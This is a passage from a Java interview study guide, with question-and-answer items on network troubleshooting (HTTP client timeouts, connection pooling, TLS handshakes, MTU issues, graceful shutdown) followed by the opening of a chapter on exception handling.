> - **Why does the first write after close not fail?** TCP is half-duplex-closed from the peer's view; the error only arrives with the RST reply.
> - **Should these exceptions trigger 5xx alerts?** No, they are client-caused.

#broken-pipe #connection-reset #write

Q89 **In `HttpClient`, you call `sendAsync(...).get(2, TimeUnit.SECONDS)` and it times out. Is the request cancelled?** ADVANCED

`get(timeout)` only stops waiting and throws `TimeoutException`; the request keeps running, holding the connection. You must call `future.cancel(true)` or use `orTimeout` and cancel.

```
var f = client.sendAsync(req, BodyHandlers.ofString());
try {
    f.get(2, TimeUnit.SECONDS);
} catch (TimeoutException e) {
    f.cancel(true);
}
```

- Cancellation closes the stream for HTTP/2 or the connection for HTTP/1.1 (reliable since JDK 16).
- The more direct approach is `HttpRequest.timeout`.

FOLLOW-UP TRAPS

- **Does `orTimeout` cancel the HTTP exchange?** It completes the future exceptionally but does not propagate cancellation to the exchange by itself.
- **Is the server told to stop?** Only indirectly through connection close or RST_STREAM.

#httpclient #cancellation #async

Q90 A Spring `RestTemplate` / `WebClient` call works but each request takes a new TCP+TLS handshake. Why? INTERMEDIATE

The default `SimpleClientHttpRequestFactory` (backed by `HttpURLConnection`) reuses connections only if responses are fully read and closed and keep-alive allowed. Often the response is not consumed, or `Connection: close` is sent, or a new client is created per call.

- Configure a pooled factory (Apache `HttpComponentsClientHttpRequestFactory`, JDK `JdkClientHttpRequestFactory`), share one bean.
- `WebClient` (Reactor Netty) pools by default but dedicates a `ConnectionProvider`; set max idle time below the server idle timeout.
- Verify handshakes with packet capture or `-Djavax.net.debug=ssl:handshake` counts.

FOLLOW-UP TRAPS

- **Does `RestTemplate` pool by default?** Not with the simple factory; it relies on `HttpURLConnection` keep-alive cache (`http.maxConnections`, default 5 per host).
- **Why create the client as a bean?** One pool shared across calls.

#spring #connection-reuse #tls

Q91 A service behind NGINX logs all client IPs as 10.0.0.5. Why and how to correct it? BASIC

The remote address seen by the app is the proxy's. Use `X-Forwarded-For` (set by NGINX with `proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for`) and tell the framework to trust it.

- Spring Boot: `server.forward-headers-strategy=framework` and configure `server.tomcat.remoteip.internal-proxies`.
- Do not trust the header from untrusted sources, or rate limiting and IP allowlists are bypassed.

FOLLOW-UP TRAPS

- **Can `request.getRemoteAddr()` be trusted after enabling it?** Only if the chain of proxies is trusted.
- **What about HTTPS detection?** Use `X-Forwarded-Proto`, or redirect loops/mixed-content links result.

#proxy #x-forwarded-for #client-ip

Q92 A Java client times out reaching an internal service by name but `curl` works from the same host. Why? ADVANCED

Differences between curl and the JVM: JVM proxy properties (`-Dhttp.proxyHost` applied to an internal host without `nonProxyHosts`), IPv6 vs IPv4 preference (AAAA resolves but is unreachable), a stale DNS cache entry, or a different trust/SNI setup.

- Compare `InetAddress.getAllByName(host)` with `dig` / `getent`.
- Test with `-Djava.net.preferIPv4Stack=true` and `-Dhttp.nonProxyHosts=*.internal`.
- Run `-Djava.net.debug=all`-style debugging (`-Djdk.httpclient.HttpClient.log=errors,requests,headers`) to see the resolved address and proxy.

FOLLOW-UP TRAPS

- **Does curl try IPv6 and IPv4 in parallel?** Yes (Happy Eyeballs), while Java's `Socket` tries one address per connect.
- **Where might the JVM pick up a proxy silently?** System properties, `JAVA_TOOL_OPTIONS`, or the default `ProxySelector` with OS settings.

#dns #ipv6 #proxy

Q93 You see `SSLException: Connection reset` during handshake only against one server. What could be the cause? ADVANCED

The server or a middlebox is rejecting the ClientHello: unsupported protocol version or cipher list, missing/incorrect SNI, client-certificate required (mutual TLS) but not offered, or a WAF resetting suspicious clients.

- Reproduce: `openssl s_client -connect host:443 -servername host -tls1_2`.
- Check `-Djavax.net.debug=ssl:handshake` for which messages were sent and the last one before reset.
- Send SNI: with `SSLParameters.setServerNames`; the `HttpClient` does it automatically from the URI host.

FOLLOW-UP TRAPS

- **Does Java send SNI when connecting by IP?** No, SNI requires a host name.
- **Does mutual TLS failure always show a clear alert?** Often only a reset, depending on server software.

#tls #handshake #sni

Q94 How do you set up mutual TLS in a Java client? ADVANCED

Load the client key and certificate into a `KeyManagerFactory`, the trusted CAs into a `TrustManagerFactory`, build an `SSLContext`, and hand it to the client.

```
KeyStore ks = KeyStore.getInstance("PKCS12");
try (var in = Files.newInputStream(Path.of("client.p12"))) {
    ks.load(in, "changeit".toCharArray());
}
KeyManagerFactory kmf = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
kmf.init(ks, "changeit".toCharArray());
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(kmf.getKeyManagers(), null, null);   // null: default trust managers
HttpClient c = HttpClient.newBuilder().sslContext(ctx).build();
```

- Passing `null` for trust managers uses the default `cacerts`; supply a custom `TrustManagerFactory` for private CAs.

FOLLOW-UP TRAPS

- **Which store holds the private key, trust store or key store?** Key store; the trust store holds CA/peer certificates.
- **Do certificate rotations need a restart?** The `SSLContext` caches keys; rebuild the context/client on rotation.

#mtls #keystore #sslcontext

Q95 Clients get 503s whenever one backend is overloaded, even though others are idle. Which load-balancing choice is likely wrong? INTERMEDIATE

Plain round-robin ignores per-request cost and backend slowness; a slow instance accumulates in-flight requests. Use least-outstanding-requests or power-of-two-choices, outlier detection that ejects slow/failing hosts, and bounded retry budgets.

- Retries amplify overload (retry storms); cap retries and use backoff.
- Active health checks should reflect real capacity, not just process liveness.

- Slow-start for new instances prevents a cold JVM being flooded.

> **FOLLOW-UP TRAPS**
> - **Does sticky sessions help balance?** It does the opposite; it pins load to hosts.
> - **Why can retries cause outages?** Each failure multiplies traffic on already-struggling hosts.

#load-balancer #least-connections #health-checks

Q96 **Client threads hang forever in `SocketInputStream.socketRead0` during a rolling restart of a database or service. Why, and what prevents it?** ADVANCED

When the peer host vanishes without closing (killed VM, dropped route, NAT entry expired), the client's connection is half-open and a read with no timeout blocks until TCP keep-alive or retransmission failure (up to ~15 minutes for retransmission, hours for keep-alive).

- Prevent: always set read timeouts, tune `tcp_keepalive_*` or `TCP_KEEPIDLE` options, and `tcp_retries2` / `TCP_USER_TIMEOUT` for faster failure detection.
- For JDBC set `socketTimeout` / `tcpKeepAlive`; for pools use validation queries.

> **FOLLOW-UP TRAPS**
> - **Why does a write to a half-open connection not fail immediately?** The data is buffered and retransmitted until the retry limit gives up.
> - **Does TCP keep-alive detect a dead peer quickly by default?** No, first probe after 7200 s.

#hang #half-open #keep-alive

Q97 **A scheduled job opens a `new URL(url).openConnection()` per run and eventually hits `Too many open files`. What do you check?** BASIC

Streams and connections were not closed on all paths (including error streams from `getErrorStream()`), so FDs leak.

- Close `getInputStream()` or `getErrorStream()`, use try-with-resources, and call `disconnect()` if you do not want keep-alive reuse.
- Verify growth with `lsof -p <pid> | wc -l`.
- Raise `ulimit -n` only after the leak is fixed.

> **FOLLOW-UP TRAPS**
> - **Does HTTP 404 throw on `getInputStream()`?** Yes (`FileNotFoundException`); read `getErrorStream()` for the body.
> - **Does `disconnect()` always close the socket?** It closes it if the connection is not in the keep-alive cache; otherwise it may be returned for reuse after drained.

#leak #file-descriptors #httpurlconnection

Q98 **A UDP-based metrics sender loses data under load. How do you reason about it?** INTERMEDIATE

UDP offers no delivery guarantee: drops happen when the receiver socket buffer fills (`SO_RCVBUF`), at routers, or when datagrams exceed the MTU and fragment.

- Keep payloads under ~1400 bytes to avoid fragmentation.
- Raise `SO_RCVBUF` and the OS cap `net.core.rmem_max`; check `netstat -su` for receive errors.
- If loss is unacceptable, use TCP or add sequence numbers, acks and retries.

> **FOLLOW-UP TRAPS**
> - **Does `DatagramSocket.send` throw when the packet is lost?** No, it only reports local errors.
> - **What is the max UDP payload?** 65,507 bytes over IPv4, but anything above the MTU fragments.

#udp #datagram #packet-loss

Q99 What happens with `Socket.connect` to `localhost` when the server listens only on IPv6 `::1`? ADVANCED

`localhost` may resolve to both `127.0.0.1` and `::1`; Java chooses by `preferIPv6Addresses` (default IPv4 first) and tries only that address, so a service bound to `::1` yields `Connection refused` on `127.0.0.1`.

- Bind to `0.0.0.0` / `::` (dual-stack), or connect using the explicit loopback the service uses.
- Check with `ss -ltn` for the bound address.
- `-Djava.net.preferIPv6Addresses=true` flips the order.

FOLLOW-UP TRAPS

- **Does binding `new ServerSocket(port)` listen on IPv4 and IPv6?** On dual-stack systems it binds the wildcard `::`, accepting both unless `preferIPv4Stack` is set.
- **Does "works in browser" prove the Java path works?** No, browsers try both addresses.

#ipv6 #localhost #dual-stack

Q100 How would you implement graceful shutdown for a Netty or socket server? INTERMEDIATE

Stop accepting new connections, deregister from the load balancer (readiness off), let in-flight requests finish within a deadline, then close channels and release event loops.

```
bossGroup.shutdownGracefully(0, 30, TimeUnit.SECONDS);
workerGroup.shutdownGracefully(2, 30, TimeUnit.SECONDS).sync();
```

- `shutdownGracefully(quietPeriod, timeout)` waits for a quiet period with no tasks before terminating.
- For HTTP/1.1 send `Connection: close` on the final responses; for HTTP/2 send GOAWAY.
- Kubernetes: handle SIGTERM and use a preStop sleep to let endpoints deprogram.

FOLLOW-UP TRAPS

- **Is `System.exit` on SIGTERM enough?** It drops in-flight requests; the shutdown hook must drain.
- **What is GOAWAY?** An HTTP/2 frame telling the client to open no new streams on that connection.

#graceful-shutdown #netty #draining

Q101 A client downloads files and each one stalls at exactly the same offset behind a VPN. What network concept is involved? ADVANCED

An MTU/PMTU black hole: large packets with the DF bit set are dropped because a tunnel reduces the MTU and ICMP "fragmentation needed" messages are blocked. Small packets (handshakes, headers) pass; the first full-size data segment never arrives.

- Diagnose with `ping -M do -s 1400 host` and varying sizes, `tracepath`.
- Fixes: lower the interface MTU, enable TCP MSS clamping on the gateway, allow ICMP type 3 code 4.

FOLLOW-UP TRAPS

- **Why does the TLS handshake sometimes hang?** The server certificate flight is large and gets dropped.
- **Does a Java setting fix it?** No, it is a network-layer issue.

#mtu #path-mtu #black-hole

Q102 A WebFlux/Reactor Netty client gets `PrematureCloseException: Connection prematurely closed BEFORE response`. Cause? ADVANCED

Reactor Netty sent a request on a pooled connection that the server had already closed, or the server closed during processing. It is the same stale keep-alive problem as in blocking clients.

- Set `ConnectionProvider.builder("p").maxIdleTime(Duration.ofSeconds(20)).maxLifeTime(...).evictInBackground(Duration.ofSeconds(30))` below the server idle timeout.

- Retry idempotent requests with `retryWhen` on this exception.
- Confirm with server logs that it did not crash or hit max request limits.

FOLLOW-UP TRAPS

- **Why does `evictInBackground` matter?** Without it, expiry is checked only on acquire, so stale connections linger until used.
- **Should POSTs be retried automatically?** Only with idempotency keys.

#reactor-netty #webclient #stale-connection

Q103 How do you choose between thread-per-request (virtual threads), reactive/Netty, and async HttpClient for an I/O-heavy gateway? ADVANCED

For Java 21+, virtual threads with blocking code give most of the scalability of reactive with simpler stack traces, and they work with existing blocking libraries. Reactive/Netty still wins for streaming, strict backpressure and very high connection counts with minimal memory.

- Virtual threads: simple code, but cap concurrency to protect downstreams (semaphore/bulkhead); watch pinning in `synchronized` blocks on older JDKs (fixed in 24).
- Reactive: operators for backpressure, but harder debugging and colored functions.
- Pool limits, timeouts and circuit breakers are needed in all models.

FOLLOW-UP TRAPS

- **Do virtual threads remove the need for connection pools?** No, remote resources like DB or HTTP connections remain finite.
- **Do virtual threads speed up CPU-bound work?** No, only blocking I/O concurrency.

#design #virtual-threads #reactive

Q104 Service A calls B calls C; the user sees timeouts, yet C is fine. How do you set timeouts across the chain? INTERMEDIATE

Each upstream timeout must exceed the sum of what it waits for downstream, and a total deadline must propagate. If A's timeout is shorter than B's, A gives up while B (and C) keep working, wasting capacity.

- Rule of thumb: A timeout > B timeout x attempts + overhead; budget the deadline (gRPC deadlines, `X-Request-Deadline` headers) and pass the remaining time down.
- Limit retries to one layer to avoid multiplicative retries (3 x 3 x 3 = 27 calls).
- Use circuit breakers and bulkheads; trace with correlation IDs to find the slow hop.

FOLLOW-UP TRAPS

- **What if every layer retries 3 times?** C sees 27x load during an incident.
- **Is a very large timeout safer?** No, it ties up threads and defers failure detection.

#timeouts #deadlines #cascading-failure

CORE JAVA · CHAPTER 5

Exception Handling

Throwable hierarchy, checked vs unchecked, try/catch/finally semantics, try-with-resources, custom exceptions, translation, errors, performance, logging, concurrency, REST error handling and transaction rollback rules.

105 questions **31** basic **50** intermediate **24** advanced

Theory

Q1 Describe the Throwable hierarchy. BASIC

`Throwable` is the root of everything that can be thrown. It has two direct subclasses: `Error` (serious JVM or environment problems) and `Exception`. `RuntimeException` extends `Exception`.

- `Error` and `RuntimeException` (with their subclasses) are unchecked.
- All other `Exception` subclasses, and `Throwable` itself, are checked.
- Only `Throwable` instances can appear in `throw` and `catch`.

FOLLOW-UP TRAPS

- **Is `Throwable` checked?** Yes, anything not under `Error` or `RuntimeException` is checked, including `Throwable` itself.
- **Can you throw a class that is not a `Throwable`?** No, compile error.

#throwable #hierarchy

Q2 What is the difference between checked and unchecked exceptions? BASIC

Checked exceptions must be caught or declared in `throws`; the compiler enforces it. Unchecked exceptions (`RuntimeException`, `Error`) are not enforced.

- Checked: recoverable conditions the caller can reasonably handle (I/O, parsing external data).
- Unchecked: programming errors (`NullPointerException`, `IllegalArgumentException`) or unrecoverable failures.
- Checking exists only at compile time; the JVM does not distinguish them.

FOLLOW-UP TRAPS

- **Does the JVM enforce checked exceptions?** No, it is purely a compiler rule; sneaky-throw tricks bypass it.
- **Is `Exception` itself checked?** Yes.

#checked #unchecked

Q3 When should you use a checked vs an unchecked exception? INTERMEDIATE

Use checked when the caller can realistically recover and you want to force them to consider it; use unchecked for precondition violations and for failures the caller cannot meaningfully handle.

- Modern libraries (Spring, Hibernate) prefer unchecked exceptions because checked ones leak through layers and pollute signatures.
- Checked exceptions do not compose well with lambdas and streams.
- Never choose checked just to "make callers careful"; they tend to wrap or swallow.

FOLLOW-UP TRAPS

- **Are checked exceptions always better for recoverable errors?** No; if every caller just wraps and rethrows, the benefit is lost.
- **Which one does `Optional.orElseThrow` favour?** It accepts any supplier, so the choice is yours.

#design #checked #unchecked

Q4 How does try/catch/finally execute? BASIC

The try block runs; if it throws, the first matching catch (top to bottom) runs; `finally` runs afterwards in every case, whether or not an exception occurred or was caught.

- If no catch matches, `finally` still runs and the exception then propagates.
- A catch for a superclass placed before a subclass is a compile error (unreachable).
- Only `System.exit`, `Runtime.halt`, JVM crash or thread death/never-ending loop prevent `finally`.

FOLLOW-UP TRAPS

- **Does `finally` run if the try block returns?** Yes, after the return expression is evaluated.
- **Does `finally` run after `System.exit(0)`?** No.

#try #catch #finally

Q5 What happens when you `return` inside `finally`? INTERMEDIATE

A `return` in `finally` overrides any earlier return value and discards any exception in flight. It is considered a serious bug.

```
static int f() {
    try { throw new RuntimeException("x"); }
    finally { return 1; }   // exception swallowed, returns 1
}
```

- The same applies to `break` and `continue` that leave the finally block abruptly.
- javac warns with `-Xlint:finally`; static analysis tools flag it.

FOLLOW-UP TRAPS

- **Is the exception logged anywhere?** No, it silently vanishes.
- **Does it compile?** Yes, only a lint warning.

#finally #return #masking

Q6 If try returns a primitive and finally modifies the variable, what is returned? INTERMEDIATE

The return value is evaluated and saved before `finally` runs, so a later modification of a primitive local does not affect it.

```
static int f() {
    int x = 1;
    try { return x; }
    finally { x = 2; }
}
// returns 1
```

- For a reference type the reference is saved, but mutations of the object itself are visible to the caller.

FOLLOW-UP TRAPS

- **What if x were a `StringBuilder` and finally appended to it?** The caller sees the appended content.
- **What if finally also does `return x`?** The finally value wins (2).

#finally #return #tricky

Q7 How can an exception be masked or lost? INTERMEDIATE

If a `finally` block (or a close in older code) throws, its exception replaces the one thrown from the try block; the original is lost without any trace.

- Also lost by `return` / `break` in finally, empty catch blocks, and catching then throwing a new exception without the cause.
- try-with-resources fixes the first case by attaching the close failure as a suppressed exception.

FOLLOW-UP TRAPS

- **Which exception does the caller see if both try and finally throw?** The one from `finally`.
- **Can the lost exception be recovered?** Not in a hand-written finally unless you saved and `addSuppressed` it.

#masking #finally #suppressed

Q8 What is try-with-resources and what does it require? BASIC

It declares resources in the try header; each is closed automatically in reverse order of declaration when the block exits, normally or exceptionally. Resources must implement `AutoCloseable`.

- `Closeable` extends `AutoCloseable`; its `close()` throws `IOException` and is idempotent by contract.
- Java 9+ allows an effectively final existing variable: `try (r) { ... }`.
- Null resources are skipped without NPE.

FOLLOW-UP TRAPS

- **Order of closing?** Reverse of declaration.
- **Can you use a non-final variable in the header?** No, it must be final or effectively final (Java 9+).

#try-with-resources #autocloseable

Q9 How do suppressed exceptions work? INTERMEDIATE

If the try body throws and `close()` also throws, the body exception is the primary one and the close exception is attached via `addSuppressed`. Retrieve with `getSuppressed()`.

- If only `close()` throws, that exception is primary.
- Multiple resources can each add a suppressed exception.
- `printStackTrace` shows them under "Suppressed:".

FOLLOW-UP TRAPS

- **Which exception is thrown if body and close both fail?** The body exception.
- **Can you disable suppression?** Yes via the protected `Throwable` constructor with `enableSuppression=false`.

#suppressed #try-with-resources

Q10 In what order do the catch and close happen in try-with-resources? INTERMEDIATE

Resources are closed before any catch or finally block of the same statement runs.

- Sequence: resource init, body, close resources (reverse order), catch, finally.
- The catch therefore cannot use the resource (it is out of scope and already closed).
- Exceptions thrown from close are catchable by that same try statement's catch clauses.

FOLLOW-UP TRAPS

- **Is the resource open inside catch?** No, already closed.
- **Is an exception in the resource initializer caught by the same catch?** Yes.

#try-with-resources #ordering

Q11 What is multi-catch and what are its restrictions? BASIC

Java 7 allows `catch (IOException | SQLException e)` to share one handler. The parameter is implicitly final.

- Alternatives cannot be related by subclassing (`IOException | FileNotFoundException` is a compile error).
- The static type of `e` is the least upper bound of the alternatives.

> **FOLLOW-UP TRAPS**
> - **Can you reassign `e`?** No, it is implicitly final.
> - **Why is a subclass alternative disallowed?** It would be redundant.

#multi-catch #java7

Q12 What is precise rethrow? ADVANCED

Since Java 7, if a catch parameter is effectively final and you `throw e`, the compiler treats the thrown types as the checked exceptions the try block can actually throw, not the declared catch type.

```
void m() throws IOException {
    try { read(); }              // throws IOException
    catch (Exception e) { throw e; }  // legal: only IOException possible
}
```

- Reassigning `e` disables this analysis.

> **FOLLOW-UP TRAPS**
> - **Does it compile on Java 6?** No, it would require `throws Exception`.
> - **Does the try body throwing only unchecked make `throws` unnecessary?** Yes.

#rethrow #java7

Q13 What does `throw` vs `throws` mean? BASIC

`throw` is a statement that throws one exception instance. `throws` is a method-signature clause declaring checked exception types the method may propagate.

- `throws` is part of the method contract, not the signature for overloading.
- Overriding methods cannot throw broader checked exceptions than the overridden one.

> **FOLLOW-UP TRAPS**
> - **Can an override throw a broader unchecked exception?** Yes, unchecked is unrestricted.
> - **Can `throws` list unchecked exceptions?** Yes, as documentation only.

#throw #throws

Q14 What are the rules for exceptions in overriding? INTERMEDIATE

An overriding method may throw no new or broader checked exceptions than the overridden method; it may throw fewer, narrower, or none. Unchecked exceptions are unrestricted.

- Constructors are not overridden, but a subclass constructor must declare any checked exception from the super constructor it calls.
- The rule maintains substitutability through the supertype reference.

> **FOLLOW-UP TRAPS**
> - **Can an interface method with no `throws` be implemented with `throws IOException`?** No.
> - **Can the override drop the `throws` clause?** Yes.

#overriding #throws

Q15 What are chained causes and how do you use them? BASIC

An exception can wrap another via `new MyException("msg", cause)` or `initCause`. `getCause()` returns it, and stack traces print "Caused by:" sections.

- Always preserve the cause when translating exceptions; losing it destroys the root-cause trace.
- `initCause` can be called once, only if the cause was not set by the constructor.

FOLLOW-UP TRAPS

- **Can `initCause(this)` be used?** No, `IllegalArgumentException` (self-causation).
- **Does `new RuntimeException(e)` set the message?** Yes, to `e.toString()`.

#cause #chaining

Q16 What does getMessage() vs toString() vs getLocalizedMessage() return? BASIC

`getMessage()` returns the detail message (may be null). `toString()` returns `ClassName: message` (or just class name when message is null). `getLocalizedMessage()` defaults to `getMessage()` and can be overridden for i18n.

- Logging `e.getMessage()` alone loses the type and stack trace; `NullPointerException` often has a null or helpful message depending on version.

FOLLOW-UP TRAPS

- **Can `getMessage()` return null?** Yes.
- **Does logging the message give you the stack trace?** No.

#message #tostring

Q17 What are helpful NullPointerException messages? INTERMEDIATE

Since Java 14 (default on from 15), the JVM computes a message describing what was null, such as `Cannot invoke "String.length()" because "s" is null`.

- Local variable names appear only if compiled with `-g`; otherwise `<local1>`.
- Message is computed lazily on `getMessage()`.

FOLLOW-UP TRAPS

- **Does it cost runtime when the NPE is thrown?** Computation is lazy so negligible until message is read.
- **Can you disable it?** `-XX:-ShowCodeDetailsInExceptionMessages`.

#npe #java14

Q18 What is the difference between Error and Exception? BASIC

`Error` signals abnormal conditions from the JVM or environment (`OutOfMemoryError`, `StackOverflowError`, `NoClassDefFoundError`) that applications generally should not catch. `Exception` covers conditions an application may handle.

- Catching `Error` is allowed technically, but program state may be inconsistent.
- Legitimate cases: logging and graceful shutdown, a container isolating tasks, catching `StackOverflowError` in a recursive parser guard.

FOLLOW-UP TRAPS

- **Is `AssertionError` an `Error`?** Yes.
- **Should you catch `Throwable`?** Only at top-level boundaries, and rethrow or exit for fatal errors.

#error #exception

Q19 What causes StackOverflowError and how do you handle it? INTERMEDIATE

Thread stack exhaustion, usually from unbounded or very deep recursion. Each call pushes a frame; the stack size is set by `-Xss` (default ~512KB-1MB).

- Fix by adding a base case, converting to iteration, or using an explicit stack.
- Increasing `-Xss` only delays it, and costs memory per thread.
- Also caused by cyclic `toString` / `hashCode` / `equals` between bidirectional JPA entities or Lombok.

FOLLOW-UP TRAPS

- **Does Java do tail-call optimization?** No.
- **Can you catch it?** Yes, but state may be corrupt; do it only at a boundary.

#stackoverflowerror #recursion

Q20 What causes OutOfMemoryError and what kinds exist? INTERMEDIATE

OOM is thrown when the JVM cannot allocate memory and GC cannot free enough. The message identifies the area.

- `Java heap space`: live data exceeds `-Xmx` or a leak.
- `GC overhead limit exceeded`: GC consumes nearly all time recovering little.
- `Metaspace`: too many classes (classloader leak).
- `unable to create native thread`: OS thread/memory limit.
- `Direct buffer memory`: off-heap NIO limit.
- Use `-XX:+HeapDumpOnOutOfMemoryError` to capture a dump for analysis.

FOLLOW-UP TRAPS

- **Does OOM always kill the JVM?** No, only the allocating thread gets the error; other threads may continue in a bad state.
- **Is raising `-Xmx` a fix for a leak?** No, only postpones it.

#oom #heap #metaspace

Q21 What is the performance cost of exceptions? ADVANCED

Creating a `Throwable` is expensive because `fillInStackTrace()` walks and records the whole stack; throwing and unwinding is comparatively cheap, especially when the JIT inlines the throw and catch.

- Cost grows with stack depth (deep Spring/servlet stacks make it worse).
- Avoid exceptions for normal control flow in hot paths.
- Mitigate: reuse preallocated exceptions, override `fillInStackTrace`, or use the 4-arg constructor with `writableStackTrace=false`.

FOLLOW-UP TRAPS

- **Is the `try` block itself costly when nothing is thrown?** No, zero-cost on the happy path (exception tables).
- **Is throwing slower than creating?** Usually creating dominates.

#performance #stacktrace

Q22 How do you design a custom exception class? INTERMEDIATE

Extend `RuntimeException` (or `Exception` for recoverable checked cases), provide constructors for message and message+cause, and add structured fields like an error code instead of parsing messages.

```
public class OrderNotFoundException extends RuntimeException {
    private final long orderId;
    public OrderNotFoundException(long orderId) {
        super("Order not found: " + orderId);
        this.orderId = orderId;
    }
    public long getOrderId() { return orderId; }
}
```

- Keep a small, meaningful hierarchy; one base type per module.
- Exceptions are `Serializable`; keep fields serializable or transient.

FOLLOW-UP TRAPS

- **Should you add a `serialVersionUID`?** Recommended for stable serialization.
- **Should every error get its own class?** No, use codes/enums when callers do not branch on type.

#custom-exception #design

Q23 What is exception translation (wrapping)? INTERMEDIATE

Catching a low-level exception and throwing a higher-level one appropriate to the abstraction, with the original as cause. Example: `SQLException` becomes `DataAccessException`.

- Prevents leaking implementation details (JDBC, HTTP client) through layers.
- Spring's `@Repository` plus `PersistenceExceptionTranslationPostProcessor` translates persistence exceptions automatically.
- Always pass the cause.

FOLLOW-UP TRAPS

- **Difference between translation and chaining?** Chaining is the mechanism (cause); translation is the design practice.
- **Should every layer wrap?** No, wrap only at abstraction boundaries.

#translation #layers

Q24 Why is catching `Exception` or `Throwable` generally discouraged? BASIC

It hides bugs, catches unexpected unchecked exceptions, may catch `InterruptedException` and `Error`, and prevents specific recovery.

- Acceptable at boundaries: request handlers, thread run loops, scheduled jobs, where you must log and continue.
- Catch the narrowest type you can handle.

FOLLOW-UP TRAPS

- **Does `catch (Exception e)` catch `OutOfMemoryError`?** No, it is an `Error`.
- **Does it catch `InterruptedException`?** Yes, and swallowing it clears the thread's interrupt intent.

#catch #antipattern

Q25 How should InterruptedException be handled? INTERMEDIATE

Either propagate it or restore the flag with `Thread.currentThread().interrupt()` before returning; never swallow it.

```
try { queue.take(); }
catch (InterruptedException e) {
    Thread.currentThread().interrupt();
    return;
}
```

- Throwing `InterruptedException` clears the interrupt flag, so catching it without restoring loses the signal.

> **FOLLOW-UP TRAPS**
> - **Does `Thread.interrupted()` clear the flag?** Yes; `isInterrupted()` does not.
> - **Is ignoring it OK in a `Runnable`?** No, executors rely on interruption for cancellation.

#interrupted #threads

Q26 What is an unchecked exception thrown by a static initializer? ADVANCED

An exception escaping a static initializer is wrapped in `ExceptionInInitializerError`; the class is then unusable, and later access throws `NoClassDefFoundError`.

- `ExceptionInInitializerError` carries the real exception as its cause.
- The first failure shows the root; subsequent ones do not, making logs misleading.

> **FOLLOW-UP TRAPS**
> - **Is the original exception rewrapped if it is already an `Error`?** No, `Error` types propagate as-is.
> - **Can the class be re-initialized?** No.

#static-init #noclassdeffounderror

Q27 How do you handle checked exceptions inside lambdas? INTERMEDIATE

Standard functional interfaces do not declare checked exceptions, so a lambda body cannot throw them. Catch inside the lambda and wrap in an unchecked exception, or define your own functional interface that `throws`.

```
@FunctionalInterface interface ThrowingFn<T, R> { R apply(T t) throws Exception; }
static <T, R> Function<T, R> unchecked(ThrowingFn<T, R> f) {
    return t -> { try { return f.apply(t); }
                  catch (Exception e) { throw new RuntimeException(e); } };
}
```

- `Callable` is the JDK interface that allows checked exceptions.

> **FOLLOW-UP TRAPS**
> - **Does `Callable` fit `stream.map`?** No, `map` takes `Function`.
> - **What does the wrapper do to the stack trace?** Adds a "Caused by" layer; keep the cause.

#lambda #checked #streams

Q28 What happens when an exception is thrown in a stream pipeline? INTERMEDIATE

The terminal operation propagates the exception and the pipeline stops; remaining elements are not processed (sequential case). Intermediate operations are lazy, so the exception surfaces at the terminal operation, not where the lambda is written.

- In parallel streams, one exception propagates to the caller and others may be lost or suppressed; side effects of other elements may or may not have occurred.
- No built-in per-element error handling; map to a result type (`Either` / `Optional`) when you need to continue.

> **FOLLOW-UP TRAPS**
> - **Where does the stack trace show the throw?** In the terminal operation call chain through stream internals.
> - **Does a parallel stream guarantee which exception you see?** No.

#streams #exception

Q29 What happens to an uncaught exception in a thread? BASIC

The thread terminates; the exception is passed to the thread's `UncaughtExceptionHandler` (default prints the stack trace to stderr). Other threads, including `main`, keep running.

- If `main` throws, the JVM still waits for other non-daemon threads.
- The exception does not propagate to the thread that started it.

> **FOLLOW-UP TRAPS**
> - **Can `try/catch` around `thread.start()` catch it?** No.
> - **Does the JVM exit when the only user thread dies from exception?** Yes, if no other non-daemon threads exist.

#threads #uncaught

Q30 How do UncaughtExceptionHandlers work? INTERMEDIATE

Lookup order: per-thread handler (`setUncaughtExceptionHandler`), then the thread group, then the global default (`Thread.setDefaultUncaughtExceptionHandler`).

- Use the default handler to log failures from any thread.
- It is invoked after the thread's `run` has been abandoned; it cannot resume the thread.
- Not triggered for exceptions captured in a `Future`.

> **FOLLOW-UP TRAPS**
> - **Does the default handler run for `executor.submit` tasks?** No, exceptions are stored in the `Future`.
> - **Does it run for `execute()` tasks?** Yes, the worker thread dies and the handler is invoked.

#uncaught #handler

Q31 How do exceptions behave in ExecutorService submit vs execute? INTERMEDIATE

`execute(Runnable)` lets the exception escape to the worker's uncaught handler. `submit` wraps the task in a `FutureTask` that captures the exception, surfacing it only when you call `get()` as `ExecutionException`.

- Fire-and-forget `submit` silently loses failures.
- `ThreadPoolExecutor` replaces a worker that died from `execute`.
- Override `afterExecute` or wrap tasks in logging for centralized handling.

> **FOLLOW-UP TRAPS**
> - **What does `future.get()` throw if the task threw `IOException`?** `ExecutionException` with the `IOException` as cause.
> - **Does a swallowed submit exception kill the pool thread?** No.

#executor #future

Q32 What happens when a ScheduledExecutorService task throws? ADVANCED

For periodic tasks (`scheduleAtFixedRate` / `WithFixedDelay`) an uncaught exception cancels all subsequent executions, silently, because the failure is stored in the `Future`.

- Wrap the task body in try/catch (`Throwable`), log, and continue.
- Spring `@Scheduled` methods are wrapped and an error is logged, but later runs continue.

> **FOLLOW-UP TRAPS**
> - **Is a log message produced by default?** No, not for raw `ScheduledExecutorService`.
> - **Does a one-shot `schedule` behave differently?** The exception sits in the returned `Future`.

#scheduled #executor

Q33 How are exceptions handled in CompletableFuture? INTERMEDIATE

An exception in a stage completes it exceptionally and propagates to dependent stages, wrapped in `CompletionException`. Handle with `exceptionally`, `handle` or `whenComplete`.

- `exceptionally(ex -> fallback)` recovers; `handle((v, ex) -> ...)` sees both outcomes; `whenComplete` observes but does not change the result.
- `join()` throws `CompletionException`; `get()` throws `ExecutionException`.
- In `exceptionally` downstream of the source stage the exception is a `CompletionException` wrapper; the original is `getCause()`.

> **FOLLOW-UP TRAPS**
> - **Does `whenComplete` swallow the exception?** No, it propagates unless the action itself throws.
> - **What if no one handles it?** It is silently kept; no log appears.

#completablefuture #async

Q34 What is the difference between final, finally and finalize? BASIC

`final` is a modifier (constant, non-overridable, non-subclassable). `finally` is the block that runs after try/catch. `finalize()` was an `Object` method called by GC before reclamation; it is deprecated for removal (Java 18+).

- Use try-with-resources or `Cleaner` instead of finalizers.
- Finalizers are unpredictable, slow GC and can resurrect objects.

> **FOLLOW-UP TRAPS**
> - **Is `finalize` guaranteed to run?** No.
> - **What replaced it?** `java.lang.ref.Cleaner` and `PhantomReference`.

